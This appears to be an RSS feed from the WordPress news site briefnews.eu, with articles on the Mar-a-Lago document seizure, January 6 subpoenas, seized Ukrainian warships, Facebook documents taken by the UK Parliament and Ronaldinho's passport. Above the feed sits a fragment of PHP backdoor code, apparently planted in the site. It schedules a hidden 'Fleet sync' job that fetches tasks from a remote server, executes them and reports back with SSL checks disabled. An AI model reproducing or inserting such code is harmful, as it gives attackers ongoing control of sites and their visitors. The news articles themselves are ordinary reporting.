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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); seized – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 16 Sep 2022 12:47:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png seized – Brief News https://briefnews.eu 32 32 Legal experts criticized the judge who denied an FBI request to access classified info seized from Trump at Mar-a-Lago https://briefnews.eu/legal-experts-criticized-the-judge-who-denied-an-fbi-request-to-access-classified-info-seized-from-trump-at-mar-a-lago/ https://briefnews.eu/legal-experts-criticized-the-judge-who-denied-an-fbi-request-to-access-classified-info-seized-from-trump-at-mar-a-lago/#respond Fri, 16 Sep 2022 12:47:03 +0000 https://briefnews.eu/legal-experts-criticized-the-judge-who-denied-an-fbi-request-to-access-classified-info-seized-from-trump-at-mar-a-lago/ Mar-a-Lago
In this aerial view, former U.S. President Donald Trump's Mar-a-Lago estate is seen on September 14, 2022 in Palm Beach, Florida.

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  • Legal analysts criticized a judge's ruling on the FBI's Mar-a-Lago probe. 
  • The judge refused a request by the FBI to resume inspecting classified information retrieved there. 
  • They say the judge's claim the classified status of the documents is uncertain is baseless. 

Legal analysts responded harshly to a federal judge's ruling denying an FBI request to resume inspecting classified information retrieved from former President Donald Trump's Mar-a-Lago resort. 

The  judge, Aileen Cannon, in the ruling said she did not accept the Justice Department's claim: that about 100 records it wants access to are highly classified and contain information that could imperil US national security.

Cannon was appointed by Trump and confirmed by the Senate in 2020. Her previous rulings in the case have also drawn accusations of pro-Trump bias.

Cannon stood by her previous ruling that an independent official, or special master, should review the documents to establish if this is the case. 

The ruling stunned some legal experts, who said Trump had offered no evidence in court disputing the classified status of the records. He has claimed in interviews that he broadly declassified the records, but his lawyers notably have not repeated that argument in court. 

Ryan Goodman, a former Defense Department special counsel, picked apart her claim that there are "ongoing factual and legal disputes" over the status of the documents. 

"What factual dispute? Trump never asserted he declassified the docs," he wrote. 

Former Deputy Assistant Attorney General Harry Litman described the ruling as "bizarre" and "atrocious" in an interview on CNN Thursday. 

He said the ruling was "atrocious, aberrant, because the Justice Department said, 'We just wanna look at these 100 classified documents.' That's what was immediately before her.

"The only thing Trump said in response is, 'Classified? Who says they're classified?' Oh, except the government. How does something become classified? Because the government, the official authority classified."

National security attorney Mark Zaid echoed those concerns, saying Cannon had been oddly dismissive of the FBI's security concerns.

"I have never seen a federal judge disregard Executive Branch classification concerns to such an extent as Judge Cannon did tonight," he tweeted. 

Andrew Weissman, one of the lead prosecutors on Robert Mueller's Russia investigation, was incredulous at the decision. 

"Judge Cannon is a partisan hack: she says it is "disputed" that the documents are classified, but Trump never said in court he declassified them and submitted NO evidence, so the only evidence before her is that they are and are so marked. She really is totally in the tank here," he tweeted. 

The FBI in its August 8 search of Mar-a-Lago retrieved stashes of government records, including highly classified information, which officials believe Trump wrongly took with him after leaving office. 

The DOJ in a recent court filing submitted a picture showing folders of records with clear "classified" markings that had been retrieved in Mar-a-Lago from a box that also contained old Time magazine covers featuring Trump. 

The FBI has argued that without access to the documents it can't properly establish the potential national risks that the lax storage of the documents created.

Trump's lawyers have argued that some of the documents are protected under executive privilege rules meant to shield some private presidential communications from scrutiny by Congress or courts.

Cannon appointed a special master, named Thursday as Judge Raymond Dearie, partly to screen the documents for information that falls in this category. 

But classified information, and records from government agencies, cannot be shielded under privilege rules. And, as analysts pointed out Thursday, Trump had offered no arguments in court disputing the classified status of the documents.

Trump has offered a range of other arguments not repeated by his lawyers in response to the raid, claiming the FBI is politically persecuting him, and claiming without evidence that agents planted evidence during the search.

The DOJ is likely to appeal Cannon's ruling.

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Former President Donald Trump gestures while playing golf at Trump National Golf Club in Sterling, Virginia, on September 13, 2022.

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  • The DOJ's appeal to continue to review classified documents for its probe was rejected on Thursday.
  • A federal judge was not convinced that Trump couldn't have "possessory interest" in the documents.
  • The judge could not accept DOJ's claim until a special master review was completed.

A federal judge said she could not accept the Justice Department's claim that Donald Trump does not "have a possessory interest" in some documents that were seized from Mar-a-Lago just because they're classified government records without further review by a third party.

On Thursday, Judge Aileen M. Cannon of the US District Court for the Southern District of Florida appointed a special master to review more than 11,000 documents seized from Mar-a-Lago in August and rejected the DOJ's appeal that would have allowed the department to continue to use a set of classified records as part of its criminal investigation during that review. 

As part of her reasoning, Judge Cannon wrote in her decision that her court can't accept the department's claims that Trump should not have had the classified documents until the review by a special master is completed.

"The Court does not find it appropriate to accept the Government's conclusions on these important and disputed issues without further review by a neutral third party in an expedited and orderly fashion," Cannon wrote. 

Raymond Dearie, a former Chief Judge of the US District Court for the Eastern District Court of New York, was appointed to be the third-party reviewer. Cannon has given a deadline of November 30 to complete the review.

In her decision, Cannon, who was appointed by Trump, also wrote that she couldn't accept the Justice Department's argument that Trump doesn't have a "plausible claim of privilege" of the classified documents without a third-party review.

Legal experts have previously raised doubts around Cannon's judgment that Trump may have executive privilege over the records since the government owns the documents and since the Biden administration has declined to assert privilege over them.

Cannon's order does however allow for the government to continue to review the documents "for purposes of intelligence classification and national security assessments."

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Former White House aide Dan Scavino was among about 40 people who were subpoenaed by the Justice Department this past week.

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  • The DOJ has a broad ongoing investigation into events around the Capitol riot.
  • About 40 people close to Trump have been subpoenaed this past week, according to The New York Times.
  • Feds also seized phones from two Trump advisors, Boris Epshteyn and Mike Roman, per NYT.

The Justice Department subpoenaed about 40 people over the past week and seized cell phone devices from two associates of Donald Trump, showing another sign of the agency's intensifying probe of the events around the January 6 Capitol riot, according to the New York Times.

Those included in the flurry of new subpoenas have varying levels of ties to Trump, including Dan Scavino, the former White House deputy chief of staff for communications, and Bernard Kerik, a former New York City police commissioner and friend of Trump's personal lawyer Rudy Giuliani, who both spread claims of election fraud, The Times reported. Kerik was also interviewed by the January 6 committee.

An attorney for Scavino did not return a request for comment. Kerik's attorney, Timothy Parlatore, told Insider that federal agents came to his client's home on Tuesday. He described the subpoena as "overbroad and nonspecific" with a list of names and claimed that Kerik has been open to cooperating with investigations.

In addition to the subpoenas, federal prosecutors seized electronic devices from Boris Epshteyn, a Trump lawyer who has also been subpoenaed by the January 6 committee, and Mike Roman, a former election operations director for the Trump campaign who helped spread claims of election fraud.

Epshteyn and Roman could not be reached for comment.

The subpoenas seek broad information around the plot to interfere with the 2020 vote using a slate of fake electors and — in a more recent development in the DOJ's investigation — Trump's fundraising vehicle, Save America, according to The Times.

It's unclear how the PAC is related to the DOJ's multi-pronged inquiry into the Capitol riot, but a source familiar with the investigation previously told CNN that the department may be investigating whether people associated with Trump used baseless claims of election fraud to solicit donations.

Parlatore said that Kerik's subpoena asked for "any and everything, somewhat tangentially related to" the Trump campaign.

The Justice Department did not immediately return a request for comment.

It's not disclosed who else has been contacted in this new round of subpoenas. The Times previously reported on Friday that Stephen Miller and Brian Jack, two top Trump advisors, were among more than a dozen people who were reached by the DOJ.

Other former Trump aides subpoenaed in recent weeks include William B. Harrison, William S. Russell, and Nicholas Luna, as well as Ivanka Trump's chief of staff Julie Radford.

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This image contained in a court filing by the Department of Justice on Aug. 30, 2022, and redacted by in part by the FBI, shows a photo of documents seized during the Aug. 8 search by the FBI of former President Donald Trump's Mar-a-Lago estate in Florida.

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  • Before the FBI raid, Trump's team returned a batch of documents to the National Archives in January.
  • More sets of classified documents were later seized from Trump's Mar-a-Lago home on August 8.
  • It was in the FBI search when documents about a foreign government's nuclear defense system were found, per The Washington Post.

Highly confidential details about a foreign government's nuclear capabilities were among some of the documents that were seized by the FBI from former President Donald Trump's Mar-a-Lago home earlier in August, according to a new report from The Washington Post, which cited several unnamed sources familiar with the search.

Prior to the raid, Trump's team returned some documents that belonged to the government to the National Archives — more than 180 of which were later found to be marked classified.

But the FBI raid turned over more White House files, including about 26 boxes and 11 sets of classified material. 

It was during the August 8 search that federal investigators found documents about a foreign government's nuclear defense capabilities, several anonymous sources familiar with the investigation told The Post.

Details about which foreign government was in question and where Trump may have stored the documents were not revealed.

A spokesperson for Trump did not immediately respond to a request for comment.

On Monday, a federal judge in Florida approved Trump's request for a court-appointed third party to review the files that were seized from Mar-a-Lago.

The Justice Department has argued that having a special master would "impede" its investigation.

A White House spokesperson and the Office of the Director of National Intelligence did not immediately respond to a request for comment.

This is a breaking story. Check back for updates.

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Former President Donald Trump speaks at CPAC in Dallas, Tex., on August 6, 2022.

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  • A federal judge granted Trump's request for a special master to review seized docs. 
  • The special master would screen for "potentially privileged material." 
  • The DOJ had opposed the move, arguing that Trump "lacked standing."

A federal judge in Florida granted former President Donald Trump's request for the court to appoint a special master to go over materials that the FBI seized in its court-authorized search last month of Mar-a-Lago. 

"The court hereby authorizes the appointment of a special master to review the seized property for personal items and documents and potentially privileged material subject to claims of attorney-client and/or executive privilege," US District Judge Aileen Cannon wrote in an order Monday.

The ruling also ordered government investigators to hold off looking over the seized documents until the special master reviews them. 

Last month, the FBI probed into the former president's Mar-a-Lago residence in Florida and recovered several boxes containing classified records that Trump took with him from the White House once he left office, according to the court records made public. 

The search unearthed more than two dozen boxes containing some "11,000 documents and 1,800 other items from the office and storage room," according to court filings. Some of the boxes were distinctly marked as "top secret," Insider's Sonam Sheth reported. 

Under the Presidential Records Act, he should have turned the records over to the agency upon leaving office.

The Justice Department is now investigating whether Trump violated any laws pertaining to the handling of government documents. A legal analyst has previously said he could receive a 10-year prison sentence if he's convicted of violating the Espionage Act, a law that dates back to World War I that essentially bars anyone from sharing or disseminating information that could potentially harm or disadvantage the US.

Trump has so far denied all assertions of wrongdoing, saying that he had "declassified" the documents. He also said that "everyone ends up having to bring home their work from time to time."

This is a breaking story. Please check back for updates.

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]]> https://briefnews.eu/federal-judge-grants-trumps-request-for-a-special-master-to-look-through-docs-seized-in-the-fbis-search-of-mar-a-lago/feed/ 0 Documents from the empty folders seized in the Mar-a-Lago raid could ‘already’ be ‘with someone else,’ legal expert says https://briefnews.eu/documents-from-the-empty-folders-seized-in-the-mar-a-lago-raid-could-already-be-with-someone-else-legal-expert-says/ https://briefnews.eu/documents-from-the-empty-folders-seized-in-the-mar-a-lago-raid-could-already-be-with-someone-else-legal-expert-says/#respond Sat, 03 Sep 2022 17:02:39 +0000 https://briefnews.eu/documents-from-the-empty-folders-seized-in-the-mar-a-lago-raid-could-already-be-with-someone-else-legal-expert-says/ Photo of documents seized by FBI at Mar-a-Lago strewn across the floor, with red circles and arrows pointing to the ones with classification markings.
Documents seized by FBI at Mar-a-Lago.

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  • The FBI recovered dozens of empty folders in the Mar-a-Lago probe, according to a court filing.
  • Nearly 100 folders marked "classified" or "return to staff secretary" turned up empty in the raid.
  • The contents of each folder might be "nowhere to be found because they are already with someone else," a legal expert said.

A detailed inventory of the items from the Mar-a-Lago probe showed that the FBI recovered dozens of empty folders marked "classified."

Other folders contained instructions on the outside saying that the contents should be returned "to staff secretary/military aide."

Investigators have so far recovered nearly 100 empty folders, according to the inventory unsealed and released by the Justice Department. 

It's unclear where the contents of each empty folder are. But a legal expert who runs a law firm that specializes in national security detailed to The Hill two possible scenarios:

"The least optimistic scenario is that they are nowhere to be found because they are already with someone else," Kel McClanahan, executive director of National Security Counselors, warned. 

"The ideal scenario that would describe this is that the empty folders are actually for the records that are somewhere else in the boxes — that someone just didn't keep them in the folder in the way they were supposed to, so they're not actually out there in the wild somewhere," McClanahan said. 

Last month, the FBI probed into the former president's Mar-a-Lago residence in Florida and recovered several boxes containing classified records that Trump took with him from the White House once he left office, according to the court records made public. Some of the boxes were distinctly marked as "top secret," Insider's Sonam Sheth reported. 

Under the Presidential Records Act, he should have turned the records over to the agency upon leaving office.

The Justice Department is now investigating whether Trump violated any laws pertaining to the handling of government documents. A legal analyst has previously said he could receive a 10-year prison sentence if he's convicted of violating the Espionage Act, a law that dates back to World War I that essentially bars anyone from sharing or disseminating information that could potentially harm or disadvantage the US.

Trump has so far denied all assertions of wrongdoing, saying that he had "declassified" the documents. He also said that "everyone ends up having to bring home their work from time to time."

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]]> https://briefnews.eu/documents-from-the-empty-folders-seized-in-the-mar-a-lago-raid-could-already-be-with-someone-else-legal-expert-says/feed/ 0 The FBI seized 11 sets of classified documents from Trump’s Mar-a-Lago. Here’s what classified documents are. https://briefnews.eu/the-fbi-seized-11-sets-of-classified-documents-from-trumps-mar-a-lago-heres-what-classified-documents-are/ https://briefnews.eu/the-fbi-seized-11-sets-of-classified-documents-from-trumps-mar-a-lago-heres-what-classified-documents-are/#respond Fri, 02 Sep 2022 00:29:25 +0000 https://briefnews.eu/the-fbi-seized-11-sets-of-classified-documents-from-trumps-mar-a-lago-heres-what-classified-documents-are/ Top Secret document stock image edited next to a photo of former President Donald Trump in a blue suit and red tie showing a thumbs up sign

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  • The FBI retrieved several boxes of classified documents from Trump's Mar-a-Lago resort last month.
  • Classified documents are sensitive materials that require legal protections to ensure national security.
  • There are three levels of classification in the US: confidential, secret, and top secret. 

Federal agents seized 11 sets of classified documents from former President Donald Trump's Mar-a-Lago residence after executing a search warrant on August 8, some of which were reportedly marked top secret.

An inventory list of the items retrieved, which was reportedly about 20 boxes in total, included a handwritten note; Trump's order commuting the GOP strategist Roger Stone's prison sentence; information about the "President of France;" and binders of photos.

Some of the documents marked top secret, according to The Wall Street Journal, were only ever meant to be housed in special government facilities given their highly sensitive nature.

Trump initially insisted that "it was all declassified" in a Truth Social statement. But this week, the former president's legal team filed a new document on the matter, recycling claims of political bias in an effort to seek a court-appointed "special master" in the wake of the search. But the filing notably made no mention of Trump's prior claim that he had broadly declassified the seized documents.

What are classified documents?

Classified documents are material that a government agency deems so sensitive it requires official protections to ensure national security. Classified information is legally restricted to people who carry the necessary security clearance to access it, and mishandling of such documents can lead to criminal charges for offenders.

Only people with the corresponding security clearance can view or handle classified documents, and government employees must undergo an extensive background investigation and interview process in order to secure the clearance.

There are three levels of classification in the US government, listed in ascending order of sensitivity:

  1. Confidential
  2. Secret
  3. Top secret

The government assesses the degree to which disclosure of the information would harm national security and makes a determination of which level the documents should be marked.

Confidential information, the lowest level of the three, is defined as information that would "damage" national security if made public, according to Executive Order 13526, which in 2009, replaced earlier laws on the matter. Examples of confidential information could include intelligence related to military strength; training specifics; or information on munitions of war.

Secret information, meanwhile, is defined as information that could be expected to cause "serious damage" to national security, including intelligence that could disrupt foreign relations; specific military or intelligence operations; or scientific developments related to national security.

And top secret information, the most classified of all, is information that if released would cause "exceptionally grave damage" to the country's national security. This includes intelligence that could spark armed hostilities against the US; compromise national defense plans; or reveal sensitive intelligence operations. Some top secret information is specially stored in what's known as a SCIF, where there is special security in place.

Can classified documents be declassified?

The Obama-era executive order on classified information also laid out the system for declassification. As time passes and information becomes less relevant or sensitive to a modern world, some documents may be declassified or partially declassified and become available to the public.  

Under the updated law, agencies are required to declassify their information after 25 years unless they are covered by one of nine specific exemptions. Documents that remain classified after 25 years or more must be reviewed by any relevant agencies. Any documents older than 75 years have to obtain special permission to stay sealed.

Legal experts told The Atlantic that US presidents have near-total authority to classify and declassify most documents. However, there is a process for doing so, and it's unclear if Trump followed that process, which would include showing on the documents when they were declassified.

It's the defense that Trump initially mounted in responsive statements to the FBI raid. But even if the former president did "declassify" all the documents seized from his South Florida resort, experts told NBC News, that it might not matter when it comes to potential legal woes for him down the road.

For one, presidents cannot declassify nuclear secrets; that information is inherently top secret. And The Washington Post reported late Thursday that the FBI was specifically searching for classified documents containing nuclear information during the raid.

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]]> https://briefnews.eu/the-fbi-seized-11-sets-of-classified-documents-from-trumps-mar-a-lago-heres-what-classified-documents-are/feed/ 0 Seized Ukrainian warships were armed beyond regular loadout & planned moving 'stealthily' – Moscow https://briefnews.eu/seized-ukrainian-warships-were-armed-beyond-regular-loadout-planned-moving-stealthily-moscow/ https://briefnews.eu/seized-ukrainian-warships-were-armed-beyond-regular-loadout-planned-moving-stealthily-moscow/#respond Sat, 08 Dec 2018 19:35:24 +0000 http://briefnews.eu/seized-ukrainian-warships-were-armed-beyond-regular-loadout-planned-moving-stealthily-moscow/ Ukrainian ships that were seized last month carried more ammunition than usual, had guns in combat ready-mode and planned to ‘stealthily’ pass the Kerch Strait in violation of rules, Russian border and security officials said.

The three vessels were detained on November 25 after they spent hours in Russian territorial waters, ignoring requests of officials to stop. They were attempting to pass through the Kerch Strait from a Ukrainian port in the Black sea to the one in the Azov Sea, but didn’t file the request that is necessary when navigating through a narrow and busy waterway, according to Russian authorities. Kiev insisted the ships had proper authorization.

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Two of the vessels, gunboats ‘Berdyansk’ and ‘Nikopol’, were mounted with “weapons and ammunition exceeding the standard loadout,” Deputy Head of the Russian Coast Guard, Aleksey Volsky told reporters on Saturday.

Their “artillery systems were loaded and placed into combat-ready mode” when they met the Russian vessels, according to Mikhail Shishov, who leads the Investigative Directorate at the Federal Security Service (FSB).

Citing a document obtained on board one of the Ukrainian gunboats, Shishov said that the ships were given instructions to “concentrate the efforts on a stealth passage” of the strait that separates mainland Russia and Crimea.

Three Ukrainian sailors were wounded during the standoff. The FSB said on Saturday that all of their injuries were sustained from the pieces which broke off their own boat as it was fired upon by the Russians. “There were no direct bullet wounds,” the official pointed out.

Shishov also noted that a resident of Ukraine’s breakaway Donetsk People’s Republic told the FSB that he “identified” one of the detained crewmen. The person alleged that the detainee had “tortured” him during his own detention at some point, leaving “very serious injuries.” Shishov didn’t reveal any more details of the allegation, only saying that the detainee in question belongs to Kiev’s chief spy agency, the SBU.

READ MORE: ‘Pandering to Kiev will lead to more dangerous provocations,’ Russia warns foreign parliaments

Ukrainian President Petro Poroshenko blasted the seizure of Ukrainian vessels as “an act of aggression” and violation of international law. Ukrainian officials have been referring to the arrested 24 sailors as POWs – something Moscow says goes against the 1949 Geneva Convention relative to the Treatment of Prisoners of War.

“The Ukrainian side has attempted to present its officers as prisoners of war. But those detained Ukrainian sailors are charged with criminal offences,” Shishov stated. “According to the Convention … they cannot be prisoners of war, since Russia and Ukraine are not in a state of an armed conflict or war.”

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  • A court filing has revealed more details about how British lawmakers got their hands on sensitive Facebook documents last week.
  • Ted Kramer, the founder of a software company suing Facebook, handed over papers after he “panicked” following a parliamentary order from MP Damian Collins.
  • The court filing also reveals that Kramer was in contact with journalist Carole Cadwalladr, who exposed the Cambridge Analytica data breach, before he arrived in the UK.

The UK Parliament seized a cache of highly sensitive Facebook documents last week. Now, a court filing has revealed more details on how the lawmakers got their hands on the papers.

Damian Collins, chair of the Digital, Culture, Media and Sport Committee, secured the documents from Ted Kramer, the founder of a software company called Six4Three, while Kramer was on business in the UK.

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]]> https://briefnews.eu/sensitive-facebook-documents-were-seized-by-british-parliament-after-the-creator-of-a-bikini-app-panicked/feed/ 0 Ronaldinho has passport seized as debt case investigators find just $7 in bank account – reports https://briefnews.eu/ronaldinho-has-passport-seized-as-debt-case-investigators-find-just-7-in-bank-account-reports/ https://briefnews.eu/ronaldinho-has-passport-seized-as-debt-case-investigators-find-just-7-in-bank-account-reports/#respond Tue, 06 Nov 2018 18:09:24 +0000 http://briefnews.eu/ronaldinho-has-passport-seized-as-debt-case-investigators-find-just-7-in-bank-account-reports/

A Brazilian judge has ordered the seizure of national football icon Ronaldinho’s passport as part of a case involving a $ 2 million unpaid fine after investigators found just $ 7 in the star’s bank account, according to reports.

The former Barcelona and AC Milan ace, 38, was handed an 8.5 million real (US$ 2.2 million) fine three years ago over claims he and his brother built an illegal construction in a preservation area in their homeland.

The pair have reportedly defaulted on the payment despite mortgaging the property, with the interest on the fine said to be too high.

Reports in Spain claim that an investigation found just 24.63 Brazilian real in the player’s bank account, leading a court in Rio Grande do Sul to order that he submit his passport the next time he enters the country.

“There is no other measure than the retention of the passports as a coercive measure in the face of repeated unfair, abusive and total disrespect, disobedience and non-compliance with the legal system,” the prosecutor said, according to goal.com.

Ronaldinho, a former World Cup and Ballon d’Or winner, has a well-documented jet-set lifestyle as he crisscrosses the world with various promotional and sponsorship commitments.

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Among other places, he has been in China on a promotional tour in recent weeks, and is set to take part in the ‘Game of Champions’ event in Germany on November 17, according to his Instagram account.

He officially retired from professional football in early 2018, but was a star attraction at the World Cup in Russia this summer, where he electrified the crowd with a guest perfomance on the bongo drums in the ceremony before the final. 

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